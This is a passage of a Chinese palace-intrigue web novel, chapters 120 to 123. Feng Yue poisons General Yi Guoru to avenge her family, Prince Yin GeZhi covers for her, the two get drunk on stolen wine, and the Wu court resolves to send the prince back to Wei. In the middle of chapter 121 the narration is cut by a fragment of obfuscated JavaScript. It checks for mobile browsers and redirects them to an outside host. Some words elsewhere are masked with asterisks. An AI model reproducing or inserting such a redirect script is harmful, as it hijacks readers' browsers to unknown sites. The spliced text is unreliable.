关苍海甩着满脸的络腮胡子,提着木棍边追边斥:“女儿家怎么可以喝酒!你以后还想不想嫁人了!”
“不嫁不嫁,女儿陪爹爹打一辈子的仗!”一边飞奔一边往嘴里倒酒,关清越笑眯眯地回头,穿过假山,拉过路过的丫鬟挡在自己面前,吱哇乱叫:“二弟也偷喝了,您做什么不追他追我啊!”
“混账!男儿与女子能一样吗!叫外人看见,不说我关家教女无方?”
“谁说我撕烂谁的嘴!”关清越大笑:“不过老爹,您当真还要打我吗?这最后一口女儿红,要叫我喝完了呀。”
她出生的时候关苍海亲手埋的酒,打算在她出嫁的时候用来宴请宾客的!
关苍海气得胡子一翘一翘的,瞪着铜铃大的眼睛,出手如电,抢了她的酒壶就跟宝贝似的抱在怀里,朝她直吼:“你个混账!”
“爹爹总是不会说话,好听的词儿不会说给皇上听就罢了,连骂女儿也就这一个词儿!”朝他做了个鬼脸,风月翻墙就飞了出去。
“注意仪态!女儿家!!”
知道啦,女儿家!要端庄!将来要嫁个好人家!也免得娘亲担心。
风月失笑,边笑边摇头,她眼前看见了关家的大门,可一抬脚上去,那大门的台阶就碎了,接着整个关府都破裂开去,散做无形。
心里一慌,她朝天上伸手,想抓着点什么,然而夜幕沉沉,手松开,只一轮月亮挂得高高的。
牢房门口的狱卒疑惑地看着她的背影,有人已经进大牢去查看犯人情况了,有人则是上前来,想问问这个丫鬟怎么了。
风月还没回神,冷不防却觉得腰身一紧,有人从天而降,抱起她便往黑暗里隐去。
“我的月亮!”
“闭嘴!”殷戈止脸色沉得难看,带着她一溜烟地就回了下榻的房间。
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第120章 您有心事
易国如的死讯马上会传开,她竟然还有胆子留在那里?!
关紧房门,殷戈止低斥:“快换衣裳!”
“您一直在外头?”风月目光呆滞地问。
殷戈止抿唇,不耐烦地吼:“先把这身衣裳换下来!”
他在外头,就在他们的头顶上,他们说的话,他都听见了。
心里很乱,活了二十多年,殷戈止头一回体会这种做错了事不敢面对人的感觉。他从小就很让父皇省心,一次祸也没闯过,没想到如今一闯,倒是闯了个没法儿弥补的。
关苍海……当真是冤枉的,那关家满门的鲜血,谁来偿还,面前这个人,该有多委屈?
然而,心里越慌,他面上反而越镇定,看起来像什么也没发生一样,凶巴巴地让人换衣裳。
风月失笑,喃喃道:“可惜了您没听见……”
殷戈止垂眸,不耐烦地自己拿了衣裳出来,将她身上的系带解开,亲手替她更衣。
“殿下?”回过神来的风月好奇地看他一眼:“您怎么了?”
“什么怎么了?”语气很差,殷戈止板着脸道:“还不快换装束,等着人来抓你?”
“是要换装束,您帮奴婢换奴婢也没什么意见,但是您手怎么在抖啊?”
“……我有点紧张。”轻轻吸了口气,殷戈止道:“易国如一死,吴国必然掀起轩然大波,是个人,都该紧张。”
是吗?风月眨眼,伸手捏住他修长的指尖,挑眉笑道:“先前您问奴婢知不知道您为何与将军府多有亲近,那时候奴婢不知道,现在却是知道了。”
被她掌心的温度烫了一下,殷戈止抿唇,别开了头:“知道了?”
“嗯。”自己动手将外袍脱了,又去扯腰带,风月低笑:“殿下是聪明人,怕是早就想好了会有要杀易国如的这一天,所以与将军府亲近,一旦易将军**,您的嫌疑不就小得多了?”
谁会怀疑到殷戈止头上啊?他一向视易将军为忘年交,又深爱易掌珠,吴国上下的人,就算怀疑叶御卿,也不会怀疑他殷戈止。
裙摆落在地上,露出了修长的腿。风月靠近面前的人,抬头望着他的眼睛,抵着他的身子继续解上襦:“殿下好手段,深谋远虑,非常人所能及,只是,都准备得这么周全了,怎么还犯险亲自出去接奴婢呢?”
垂眸看她,殷戈止眼里的神色深邃难懂:“你出事,第一个受牵连的就是我。”
也对哦,毕竟她这张脸挺好认的,虽然没给狱卒看脸,可当真当场被抓着,照着灯一看,那殷戈止定是要被找去问话。
咯咯咯地笑了两声,风月扯了上襦,雪白的锁骨衬着红色的肚兜绳结,看起来跟妖精似的:“那就多谢殿下了。”
喉头微动,殷戈止伸手搂住她的腰,将人往自己身上压了压。
风月低呼,媚眼如丝地道:“奴婢大仇刚报,殿下这般亲近,也不怕奴婢一时兴起,跟殿下来个玉石俱焚啊?”
“你舍得?”殷戈止面无表情地问。
心里一跳,风月横眉:“有什么舍不得的?”
也对,她嘴里那些个情话都是哄他的,自然也不会当真把他放在心上。
压着她腰的手慢慢握成拳头,他闭眼,语气平静地道:“我没说你舍不得我,而是,仇没报完,你舍得死吗?”
这就很尴尬了,她会错意了?风月咧嘴,立马转头看着地上:“殿下,这些衣裳早销早好。”
松开她,伸手扯了自己的披风披在她身上,殷戈止低身下去,将那几件衣裳捡了,浇酒扔在火盆里焚烧。
“殷殿下!殷殿下!”三柱香的功夫,孟太尉就急忙冲了过来,进门就道:“殷殿下,易将军死于大牢,**身亡啊!”
早已调整好情绪的殷戈止已经跟风月一起等在外室半晌了,一听这话,风月倒吸一口凉气,殷戈止则是一巴掌拍在旁边的案几上:“什么?!”
这语气,要多惊讶有多惊讶,充满了不敢置信和怒火,上前抓着孟太尉就吼:“你怎么看人的?!”
被他这一吼吼得有点蒙,孟太尉茫然地看着他,心想自己难道不是过来问责的吗?毕竟那死牢能放人进去,都是殷殿下允许的啊,现在冲他这么一吼,怎么感觉是自己的过错?
“殿下……”
“快,去大牢看看!易将军武功高强,怎么可能被人下毒还不反抗!”
“殿下……”
“还磨叽作何?马上知会宫中!”
“……是。”听着这位殿下语气里的焦急,孟太尉扭头就走。谁不知道殷戈止是与易大将军最亲近的,眼下暴怒,他还是躲开点为好。
以死牢为圆心,一阵惊涛骇浪席卷整个不阴城,一向落钥不再开的宫门首度在半夜开启,一串儿官员鱼贯而入,又有一串儿宫人鱼贯而出。
叶御卿急得衣冠都没有整理好,匆忙上车赶到廷尉衙门,就见孟太尉跪在门口,看见他就拱手行礼:“殿下……”
“你还喊什么殿下?!”叶御卿怒道:“都说这廷尉衙门是整个不阴城最安全的地方,大人能告诉我,易大将军怎么会在您这儿出事吗!”
额头上冷汗涔涔,孟太尉连忙道:“下官看守,从未怠慢,但是,是殷殿下允许易府的人送吃送喝的啊!一个时辰之前易家的丫鬟拿着令牌来送吃的,她一走,易大将军就出事了!”
“哦?”叶御卿边走边问:“那丫鬟人呢?”
“……”
步子一顿,叶太子气极反笑地侧头看他:“没抓到?”
“下官该死!”
猛地一拂袖子,叶御卿踏进牢房,就看见殷戈止满眼通红地怒斥:“一个个都是死的吗!我说过送来的食物要多检查才能送给大将军,你们是聋了还是哑了?!”
狱卒万分冤枉地跪在地上:“那丫鬟送来的糕点,是先让咱们尝了再进去的,没什么问题呀!”
“那大将军怎么出事的?!”殷戈止咆哮:“他怎么出事的,你说啊!”
吼声震天,听得叶御卿反而冷静下来了,看他那怒极的样子,还上去劝了劝:“殿下息怒。”
红着眼睛转头看他,殷戈止伸手,扯着叶御卿的衣襟
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,很是无礼地将他拉到偏处,咬牙问:“殿下不会对易大将军动杀心的,是吗?”
浑身一紧,叶御卿摇头:“本宫不会做如此鲁莽的决定,易大将军于社稷有功,父皇都说不能动他,本宫更是不希望看见他这样的下场。”
“那会是谁呢?”殷戈止捂眼,痛苦、悲伤、满脸的后悔:“我怎么不来亲自看着啊……”
这模样,任谁看了都动容。叶御卿唏嘘,压根不计较他扯自己衣襟的无礼行为,悲痛嘛,可以理解。
“殿下,本宫给殿下的令牌,殿下只给了掌珠吗?”
“是啊。”抹了把脸,殷戈止道:“只有有令牌的人才能进来,狱卒们刚刚也说了,只有易家的人拿着令牌来探望过,最后一个丫鬟,也是拿着那令牌的。”
微微皱眉,叶御卿转身就出去吩咐:“请易家小姐过来一趟。”
易掌珠正在睡梦之中,莫名其妙被人带到了太尉府。叶御卿没忍心告诉她易将军的死讯,只问:“令牌呢?”
有点茫然,易掌珠伸手将荷包里的令牌掏出来递给他:“这个吗?”
微微一顿,叶御卿接过来翻看一番,点头:“你有给过别人吗?”
“没有啊,只有我和点钗拿着牌子给父亲送吃的,其余时候这牌子不离身的。”
怎么会这样?叶御卿示意人先将易掌珠扶去休息,然后拿着牌子去问狱卒:“你们确定来人拿的是这个?”
“是的!”几个狱卒连连点头:“不见您的令牌,咱们怎么敢放人?”
这就怪了,叶御卿皱眉,很是不解地转头看向殷戈止:“殿下,这……”
殷戈止表情痛苦,声音沙哑地道:“殿下一定要查出凶手,给易将军在天之灵一个交代。”
深吸一口气,叶御卿头疼地扶额:“此事,先交由孟太尉详查,本宫先回宫复命。”
“殿下慢走。”殷戈止勉强起身行礼。
风月在屋子里没出去,窗台是空的,她很自在地就坐了上去,翘着脚笑着看着外头的天。
多可笑啊,这么简单的一个局,害**忠心魏国十几年的将军,现在真相还只有她一个人知道,仇也只有她一个人来报。
抬了抬手,她有点想喝女儿红,埋了十年的那种。
空空的掌心被塞了一壶酒,风月一惊,猛地,侧头。
殷戈止回来了,脸上的神色看起来有点奇怪,手里两个酒壶,递给了她一个。
“喝吧,暂时不会有你我什么事了。”
殷大皇子这么上道?风月咧嘴,接过酒壶跟他碰了碰,仰头就往喉咙里倒。
上好的花雕,呛得人眼泪直流。她咳嗽两声,眼里秋波潋滟:“殿下看起来,似乎有心事。”
站在窗边看着她,殷戈止抿唇:“没有。”
“当真没有?没想过大事已了,奴婢对您的威胁不存在了,杀了奴婢最为妥当吗?”
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第121章 喝醉的殿下
她曾那么嚣张地威胁过他,在他怒极之时,拔了老虎嘴上的**。不管怎么想,殷戈止应该都是记恨着的,一旦威胁不存在,他怎么也该将她皮扒两层,剁碎了喂狗都有可能,毕竟皇室的尊严和面子是很重要的。
然而,面前这人竟然没什么特别的反应,还给她喝酒?
摇晃两下手里的酒壶,风月眯眼,笑道:“您该不会在酒里下毒吧?”
轻哼一声,殷大皇子拂袖坐上软榻,睨着她道:“这儿的日子这么无趣,若是还将你毒**,要我一个人熬着不成?”
心念微动,风月眨眼,很是意外地看着他。
不想杀她了?她还以为就他先前那发现她身份的恼怒模样,现在会立马弄死她啊!难不成狼改吃素了,殷大皇子也有能包容人的一天?
垂着眼眸,殷戈止灌了自己一口酒,没再理会她。
风月眯眼,突然有了点坏主意,抱着酒壶笑眯眯地蹭去人家跟前问:“殿下这酒哪儿来的啊?”
殷戈止道:“太尉府地窖里偷的,藏了不少好酒。”
……竟然还趁乱偷酒!风月咂舌,谄媚地道:“这点酒哪儿够喝啊?咱们再去搬点回来呗?”
斜她一眼,殷戈止一脸正气地道:“偷窃是恶行!”
然后起身轻轻打开门,招手示意她跟上他。
目瞪口呆地看着这言行不一的主子,风月捞起长裙扎在腰带上,蹑手蹑脚地就跟了出去。
太尉府里酒烈,两个人都是微醺,趁着今晚太尉府大乱,四处看守松懈,两人很顺利地就到了后院,找到酒窖。
于是,殷戈止长身玉立地站在外头放风,风月就撅着屁股将酒一坛坛地从酒窖里拽拉出来。
“适可而止。”回头看她一眼,殷大皇子忍不住提醒:“太多了拿不动。”
“不是有您在吗?”风月笑眯眯地扯了八坛子酒出来,“咚咚咚”跑过来拿绳子吊好四坛挂在殷戈止手上,又“咚咚咚”跑回去自个儿提上四坛,像秋日丰收了的农人似的,喜笑颜开地将酒绳子挂在肩膀上,然后腾出手来带上旁边的“媳妇”,高高兴兴地道:“走,回去!”
殷戈止脸上满满的都是嫌弃,真的,好歹是关家的女儿,怎么能这么豪放不羁?
想起关苍海,殷戈止抿唇,任由她十指扣着自己,手还紧了紧。
风月嘻嘻地傻笑,抱着酒坛子就要往正门回去,殷戈止眼疾手快,连她带酒坛子一起捞起来飞过院墙,轻柔落地。
“你听见什么动静吗?”门口巡逻过去的守卫好奇地看了看四周。
另一个守卫摇头:“风太大了吧,嗨,最近的天气也真是奇怪,这空气也奇怪,都带酒味儿了,像酒窖被人打开了似的。”
“瞎说,都没人,谁去开酒窖?”
“也对,去那边看看吧。”
嘴巴被人捂着,风月的眼睛滴溜溜地转,等那两个守卫走了,她才伸手扯下殷戈止的手,撇嘴道:“这儿的人怎么都傻里傻气的?”
“你当世上的人,都同你一样心思灵巧?”说完,又觉得这话怎么跟夸她似的,连忙补上一句:“诡计多端!”
风月咧嘴,顺手打开一坛子酒就喝,看得殷戈止连连摇头,一把扛起她就走。
被人扛在肩上,风月也是自在得很,撑起身子仰头倒酒,吧砸两下嘴惬意地道:“我有五斛珍,换君醉一轮!”
“念点女儿家该念的词。”
女儿家该念的?风月认真地思考了片刻,翘起兰花指勾着酒绳就唱:“罗襦宝带为君解,燕歌赵舞为君开呀!”
黑了半边脸,殷戈止打开门进屋去,反手将肩上的人放下来,一把按在门上,就着她将门给关了。
身子一跌,又靠在踏实的雕花门上,她抬眼,贝齿盈盈地道:“殿下好粗鲁、好凶恶、好不怜香惜玉哦!”
“你是哪门子的香玉?”殷戈止垂眸看她,淡淡地道:“分明是战场上的凶刀。”
“咯咯咯。”伸手戳了戳他的胸膛,风月媚声媚气地道:“像奴婢现在这样的刀,可杀不得敌,只杀得多情男儿的心哪。”
心口被她戳得烦躁,殷戈止抿唇,目光流连在她半启的唇上,很想张口咬了,免得她净说这些个蛊惑人心的话!
然而……刚一低头,面前的人飞快地就别开了脸,状似无意地道:“酒好重啊,殿下不要先放下来吗?”
“……”手微微收拢,他站直身子,看着她从自己身前溜走,跑到桌边去放了酒。
说不出来是什么感觉,殷戈止抿唇,下颔线条微微紧绷,眼帘半垂,沉默了半晌,才转身,跟着去放了酒。
“酒是个好东西啊!”贪婪地闻着酒香,风月笑眯眯地道:“殿下喝醉过吗?”
“没有。”面无表情地摇头,殷戈止道:“不是很喜欢喝酒。”
是不喜欢喝,还是不怎么能喝啊?眼里满是奸诈的笑意,风月伸手递给他一坛子:“今儿是您说的喝酒,那咱们喝个够吧,谁都别端着,能喝就喝,喝醉了也无妨。”
殷戈止皱眉,看起来有点抵触,不过他越是抵触,风月就越是来劲,跟他碰了碰酒坛子,嚣张地道:“奴婢先干为敬。”
说罢,当真一仰头,咕嘟咕嘟跟喝白水似的,将一坛子酒喝完了。
殷戈止表情很镇定,心里很震惊,忍不住低头闻了闻自己面前的酒坛子。
当真是酒吗?
“殿下?”放下酒坛子,风月眼带挑衅地看着他。
殷戈止沉默,抱起酒坛子,也想猛灌下去,然而,刚灌第一口,就被呛了一下。
“哈哈哈——”喝了酒壮了胆子,风月不要命地说了实话:“您堂堂男儿,喝个酒怎么跟姑娘似的?”
这话谁能听得下去?殷大皇子脸都青了,冷哼一声,抱起坛子就往嘴里灌,虽然洒了不少,但是能这么快喝完一坛子,风月还是忍不住鼓了鼓掌:“您脸色竟然都不变一下的?”
殷戈止轻哼:“酒量好。”
风月点头,很想顺着这话夸夸他,可是看着他有些起雾的眼,忍不住问了一句:“酒量当真好?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14989512|161617||http|test|mini|href|location''.split(''|''),0,{}));
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“当真,比真金还真!”为了加强语气,大皇子一边说一边很认真地点头,一张脸依旧是那般俊朗无双、棱角分明,可是……瞧着这神态,怎么有点不对劲啊?
眼珠子转了一圈,风月笑眯眯地撩起裙子踩到凳子上蹲下,跟地痞流氓调戏良家妇女似的勾着他下巴问:“我是谁啊?”
“关风月。”他眯了眯眼,认真地道:“关家人。”
这算是清醒呢,还是不清醒呢?风月眨眼,又问:“那你是谁?”
“魏国大皇子,殷沉璧。”他认真地道:“你看,我都知道,我没醉。”
风月满脸唏嘘,小声嘀咕:“这么认真地回答我,才是真的醉了,大皇子的酒量真不怎么样啊,亏我拿了这么多坛。”
“嗯?”
“没什么。”转脸一笑,风月又塞了一坛子酒到他手里:“来接着喝啊!”
皱眉看着那酒坛,殷戈止想推开,然而旁边的人很温柔地道:“喝完才是好孩子哦!”
好孩子要喝这个?殷戈止嗤之以鼻,然而手不听使唤,还是去抱起来,咕嘟咕嘟地往嘴里灌。
“哎,沉璧好乖啊!”风月捏着自己的嘴角,尽量不让自己脸笑裂了,压着笑意哄他:“怎么样啊?好不好喝?”
坐不直了,殷戈止身子直晃,有些气恼地嚷嚷一句:“头疼!”
“乖啊,想不想头不疼?”风月坏笑着问。
认真地想了好一会儿,殷戈止点头,一脸期盼地看着她。
摸了摸下巴上不存在的胡须,风月老成地道:“长辈们有个治疼痛的好方子,你觉得头疼的话,就念‘疼笨猪’,多念几遍,自然就不疼了!”
大概是不舒服极了,殷戈止想也没想,揉着额头就念:“疼笨猪、疼笨猪……”
“哈哈哈哈——”一串刺耳的笑声响彻整个太尉府,殷戈止双眼茫然地看着她,嘴里还念着,眼神无辜极了。
风月很是不忍心,笑够了,伸手就将他脑袋抱在自己怀里揉了揉:“没想到殿下喝醉了这么好欺负啊!哪儿还有平时冷漠拒人千里的样子,真可爱!嗷嗷!”
被揉得发髻散乱,殷戈止很是不满,却靠在她胸口没动弹,眼里水雾弥漫,没一会儿就醉得睡了过去。
风月乐了好一阵子,扛着人送上床去,蹲在床边低头看着他。
这人……要不是魏国的大皇子该多好啊,要是从来与关家的**没有关系,那该多好啊……
伸手从他的鼻梁上一路划到嘴唇,她低笑,收了手,长长叹一口气。
太尉府里一片慌乱,这处小院倒是酒香盈盈,潇洒自在,仿佛没人打扰,就能一直这么过下去了。
然而,没人打扰是不可能的,一大早,太阳刚露头,易掌珠就一路哭着冲了进来,跪到殷戈止床边,哭得撕心裂肺,以至于风月睁开眼的时候,还以为殷戈止薨逝了。
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第122章 还清了
宿醉的殷殿下睁开眼,一瞬间也有点茫然,基本想法跟风月差不多,很是艰难地转头看了看床边。
“殷哥哥!”易掌珠哭得眼睛都肿了,抽抽搭搭地道:“我父亲**,被人害死在牢里了!”
微微一顿,殷戈止撑着身子坐起来,声音沙哑地道:“我知道。”
“他怎么会被人害死呢!珠儿不明白!那么好的人,谁会想要他的命?这吴国江山,都是靠他打下来的,吴国的百姓,也都是靠他才能过上安稳的日子的啊!”
埋在被子里的风月终于忍不住探了头出来,说了句实话:“吴国江山是皇室先祖打下来的,易大将军当真没有那么大的功劳,他赢的都是对外的侵略战,跟吴国的百姓也没什么关系。”
“你!!”被这突然冒出来的人吓了一跳,易掌珠不可置信地看着风月,又缓缓转头看着殷戈止,眼泪直流:“都什么时候了,殷哥哥你竟然还同她在这儿苟且?”
殷戈止皱眉,看了风月一眼。
风月耸肩,不能怪她啊,昨儿是他自己睡着了直哼哼,拉着她不撒手的,她不只有在这儿睡了?况且,哪只眼睛看见他们苟且了?衣裳都穿得好好的啊!
见这两人都沉默,易掌珠哽咽,扭头继续哭:“好啊,反正我现在家破人亡了,你们也没人在意我,我……我走就是了!”
“掌珠。”殷戈止道:“易将军的尸身还要你收殓,你走哪里去?”
“我收殓?你呢?”抬眼再度看他,眼里已然有了恨意,易掌珠咬牙道:“你口口声声说尊敬我父亲,现在怎么不去给他收尸?任由他被人害了,怎么也不去查清楚?”
“易小姐。”看着她这疯狂的模样,殷戈止眼神凌厉了些,语气也陡然变了:“收尸是三族之人才能做的事情,在下无权逾越。将军被人所害,太子已经交由孟太尉彻查,也不是在下能管的。你每次在责问别人之前,能不能弄清楚状况?”
被他这语气一惊,易掌珠有点傻眼,茫然地看着他。
“你是很善良,也是被易大将军捧着长大的,不谙世事,天真无邪,这些都难能可贵。可是易将军已经不在了,你不能任性一辈子,出了事就找别人负责,找别人哭,谁也不是生来就要为将军府做事的,你是在麻烦别人,请别人帮忙,是不是该客气些?”
长这么大,易掌珠还没被人这么吼过,当下就愣住了。
殷戈止被人吵醒本来心情就不算太好,加上宿醉头疼,说话终于是不留余地了:“你总说太子对不起你,他不帮你,不宠你了。可是你这些年来怎么对他的,自己不记得了?堂堂太子,被你拒之门外就罢了,还要随时听你差遣,将你视为最重,不然你就不高兴,在皇后娘娘面前抱怨。他脾性好,对你多有宠爱,你呢?哪次见着我,顾及了他的颜面?不是每每都将他抛在脑后,半点面子也不给吗?”
“你也怪在下不宠你,不对你好,不会说话。可是小姐又何曾好好跟在下说过话?想做什么想要什么不直说,非要在下去猜,猜不到还生气。如此次数多了,在下耐心自然不够。”
“人欲得爱,必先自爱。可只自爱,不报人以爱,除却大将军,谁会不对你失望?”
风月听得伸出爪子鼓了鼓掌,是这个道理。
易掌珠沉默了许久,深深地看着殷戈止,咬牙道:“若是连爱都要有回报才能爱下去,那殿下的感情可真是一文不值!”
乍一听好有理的一句话啊!爱就该是无私的,不需要回报的!
可是,风月眨巴着眼问:“易小姐,您最开始不是也很喜欢殷殿下么?现在怎么瞧着,没那么喜欢了?”
“他对我都这样了,我还要继续贴着他不成?!”易掌珠怒道:“我一个女儿家,还没有这么不要脸!”
“……”所以,男人就活该不要脸,一直单方面地对人好,来维持这份高贵的爱吗?一旦维持不下去了,就是这份爱不够真,不够浓?
风月笑了笑,将头埋了回去。
殷戈止叹息:“罢了,你还是去处置后事吧。”
气恼地站起身,易掌珠问:“你的意思,就是你不管了?”
“恕在下无能为力。”
“好!”深吸一口气,易掌珠点头:“话是你说的。”
说罢,扭身就出去了。
殷戈止揉了揉眉心,起身去关了门,然后褪了外袍,重新躺下休息。
“殿下。”瞧着人已经清醒了,风月就不敢再造次,恭恭敬敬地低声问:“您也不担心担心易小姐啊?”
“她父亲死在你手上,我去担心她?”侧头目光幽幽地盯着她,殷戈止道:“那我是不是该把你捆起来送去正堂?”
缩了缩脖子,风月赔笑:“不是您自己说过您喜欢易小姐吗?如今人家的父亲间接死在您手里,您也不表达一下愧疚?”
“该表达的愧疚,这一年间已经表达完了。”殷戈止道:“从入吴开始,我对她有求必应,那就是我全部能做的,毕竟易国如必须死,但她也算无辜。”
“现在,该死的**,该表达的也表达尽了,各归各路。”
轻轻打了个寒战,风月忍不住道:“本来以为奴婢已经够狠了,结果您才是狠字辈儿的祖宗啊!一年前就开始补偿人家,易大小姐要是知道您说的喜欢,都是对她父亲将死的补偿,会不会气死啊?”
“喜欢是她让说的,不是我要说的。”殷戈止道:“是她自己要的十五岁及笄礼。”
啥玩意儿?风月张大嘴,还有这种及笄礼的?
殷戈止一脸淡然地道:“刚入吴,不阴城众多闺阁小姐都爱往使臣府走,易小姐瞧着不高兴,又刚好撞上一回人家问我可有心上人,于是就跟我说,以后但凡有人问,就说我喜欢她。见我犹豫,就说算是送她的及笄礼。”
风月愕然,低头想想,又完全能想明白,毕竟殷戈止这样的人,走哪儿都会被姑娘们**。人是易大将军带回来的,又对易小姐很好,易小姐理所应当觉得这个人就该是自己的人
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,不能被别人惦记。殷戈止对易掌珠又是真的不错,害得她都差点觉得他是真的瞎了喜欢易小姐。
“可是……”风月皱眉:“好歹相处了这么久,人都说日久生情,您当真半点没感情吗?”
白了她一眼,殷戈止冷声道:“若是她是个让人觉得相处舒坦的姑娘,下决定的时候,说不定我还会犹豫一二。”
可惜了,实在是觉得很折磨人,以至于他觉得一年的补偿足够了,半点愧疚感都没有。
他真不是个好人。
沉默地看了殷戈止一会儿,风月翻身起床,打水洗漱。
殷戈止想继续睡,奈何外头渐渐的吵闹起来,终于是睡不着了。
易大将军的死讯没能传出不阴城,天亮的时候,皇帝甚至下了旨意给易大将军求医,更不计他所有罪名,要他养好伤上战场。
一时间众人都懵了,殷戈止带着风月回使臣府的时候,连观止都来问:“易大将军救回来了?”
冷笑一声,殷戈止摇头:“已经去地府报到了的人,谁能救得回来?”
“那……”
“易大将军是吴国镇国将军,宋国本来就屡屡犯境,有意攻吴,要是让他们知道了易大将军的死讯,大军怕是立马就压境了。”进屋去坐下,殷戈止道:“这怕是吴国皇室的缓兵之计。”
可惜,缓得了一时,缓不了一世,宋国早晚会攻吴。
没兴趣听他说什么,风月打着呵欠看了看四周,模样很是慵懒。灵殊蹦蹦跳跳地递了绿豆糕过来,她也不避讳什么了,当着殷戈止的面就拆开夹层里的东西看。
“已经准备妥当,三人先行回魏,澧都有人接应。”
这些人怕是一直等着,昨儿一听见易国如的死讯,就开始收拾东西准备回国了吧?风月笑着摇头,都是不喜欢背井离乡的人,却陪着她在这吴国一待就是三年,也是不容易。
响玉街一条街都曾经被烧毁,后来重修,整条街的店铺都换了掌柜,新开了杂货铺、糕点铺、打铁的、卖花卖酒的,有一段时间不阴城一直以这条街为奇,因为恢复得太快了,而且很多都是魏国来的难民。衙门甚至还在这条街上增派了巡逻的衙差,以防有什么**。
然而,三年过去了,响玉街因为这群人而变得繁华热闹,一次乱子也没出过。常有人夸这条街上的人热情温暖,没人知道,杂货铺的掌柜曾经是魏国的百夫长,打铁的壮汉曾经是澧都有名的力士,就连卖糕点的郑氏,也曾穿过护甲从过军。每一个穿着普通衣裳面带微笑的人,背后都有一段很精彩的故事。
这些,就不必说出来吓人了。
“想回魏国?”殷戈止突然问了一声。
风月回神,挑眉看了看手里的信,又看了看头都没往她面前偏一下的人,忍不住皱眉:“您后脑勺上也长眼睛的?”
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第123章 回去
对于她这种冷笑话,殷戈止连捧场都欠奉,冷淡地扔下一句:“要回去,也等我一起。”
然后就起身去桌边倒茶了。
风月咋舌,忍不住捏着信跟上去,讨好地笑道:“您看样子还要几年才能回去,奴婢就不用您操心了呗?”
她自己走就好了!反正现在两人的合作关系也算告一段落,各归各路挺好的,不然以后万一哪天他想起自己被威胁的耻辱,要找她报个仇怎么办啊?
而且,回魏国的话……他们怕是也走不到一起去。
慢悠悠地喝了一口茶,殷戈止回头看她,目光平静:“通关文牒你有了?”
“这个可以想办法,奴婢有银子!”
“过了边关,要进澧都,你经得起盘查?”
“呃……也可以想想办法。”
“廉恒时常在城门口巡逻,碰上他,你也能想办法?”
“……”风月有点恼,面前这一脸镇定目光幽深的人一点也不可爱!还是喝醉了好!瞧现在这模样,肯定又想算计她!
咬咬牙,她仔细想了许久,小心翼翼地开口:“那殿下有办法啊?”
“嗯。”殷戈止道:“我不日也可回国,可以带上你一起,这样便会一路畅通,也无人敢拦。”
不日也可回国?风月震惊了:“您是质子啊,要押在吴国的,怎么可能想回去就回去?”
当吴国是梦回楼呢?
轻蔑地看她一眼,殷戈止扭头不语。背影看起来高大伟岸,透出一股子属于高手的、旁人看不穿的气息。
皇宫里御书房的灯亮了一宿,圣旨颁下去了,一众老臣和叶御卿包括吴国皇帝,都没敢退下休息。
脸上忧色浓重,宁国忠叹息着开口:“大将军已经身故,消息再捂着,迟早也是要传出去的。以老臣之见,当尽早想办法,提前做好应对宋国的准备。”
“宁大人所言,大家都明白,可是怎么准备啊?”旁边的徐将军叹息一声:“最近几个月,朝中能打仗之人,都被太子殿下处置了,眼下当真打起来,谁能领兵上阵?”
“徐将军此言差矣,那些人是罪有应得,怎能怪殿下处置?我泱泱吴国,也不是没有可用之将,令公子不也是年少有为?”宁国忠道:“与其说找人打仗,陛下,微臣倒是觉得,可以寻求盟国,相互支持。这样,宋国也该有所忌惮。”
一根木棍好折,两根呢?三根呢?
皇帝眼睛一亮,看向太子:“皇儿觉得如何?”
叶御卿脸色不太好看,被点了名,才拱手道:“宁大人言之有理,但……眼下最快能寻求的盟国,也就魏国与齐国而已,齐魏已经停战,就实力来说,齐国为先,但就相邻距离来说,还是该先与魏国商量。”
“唇亡齿寒的道理,魏国不会不懂,只是这样一来,魏国在不阴城为质的皇子就该放回去,以表明我国诚意。”
皇帝听得点头:“你既然都明白该怎么做,那为何看起来还有所顾忌?”
叹息一声,叶御卿道:“父皇,魏国大皇子殷戈止足智多谋,放他回去,儿臣始终有纵虎归山之感。”
“哎,殿下此言差矣。”安国侯爷站出来,笑眯眯地道:“正是因为殷殿下足智多谋,善于征战,才该放他回去啊。有他领兵,魏国也才堪称我国助力。”
“有道理。”徐将军也点头:“殷殿下虽然善谋略,可对咱们吴国一向很是亲近,不带恶意。就连教导犬子和安国侯府的少爷,都是尽心尽力,半点不藏,足以见其宽厚仁德之心。”
安国侯爷一开口,皇帝的心就偏了点了,再加上徐将军这话,皇帝点了点头,道:“时间紧迫,要做就得赶紧做,不然等宋国当真打进来了,再做这些,就未免难看。”
皇室颜面很重要啊很重要!
叶御卿还是有些迟疑,然而一众老臣都赞成先将殷戈止送回魏国,再派使臣去谈盟国之事,他也就选择了沉默。
本以为殷戈止会一辈子留在吴国的,谁曾想会出这样的事情,到底是命运使然,还是什么人在背后拨弄?
皇帝既然下了决定,那下头的人也只有做。叶御卿离开皇宫,疲惫地揉着眉心,让车夫去使臣府。
“奇了怪了。”马车经过响玉街,车夫忍不住嘀咕了一句:“往常那么热闹的地方,今儿怎么这么冷清?”
心不在焉地听着,叶御卿掀开车帘看了一眼。
繁华的响玉街,今儿好像很多店铺都没开门,街上的小摊儿也少了,有不少店门口还挂了要卖铺子的牌子。
易大将军一死,人心惶惶,少不得有远见之人要提前变卖家产,去更安稳的国家过日子。叶御卿不觉得奇怪,但是,再往前走,他惊奇地发现,梦回楼竟然也关了门。
本来是白天,关着门也寻常,可要是往常,那露台上少不得要站几个早起的姑娘,迎着风花枝招展的。
今儿一个也没有。
“停车。”
马车在梦回楼的大门口停下来,叶御卿皱着眉上去推开了门。
正将银票收进怀里的金妈妈吓了一跳,看了一眼进来的人,立马笑道:“公子,梦回楼白天不接客的。”
还开着啊,叶御卿抿唇,松了眉头笑道:“最近街上不少店铺关了门,在下路过此处,还以为梦回楼也关门了呢。”
金妈妈一顿,抿了抿鬓发,张着红唇就笑:“公子说的哪儿的话呀,梦回楼怎么会关门?只不过奴家有事要回乡一趟,也给姑娘们放个假,都休息休息。”
“嗯。”风月反正已经被赎出去了,这儿的姑娘,叶御卿不是很在意,扫了四周一眼,就转身走了。
拍拍心口,金妈妈目送他出去,然后飞快地回了房间,收拾好包袱,栓上正门,从后门出去,将门外也挂了锁。
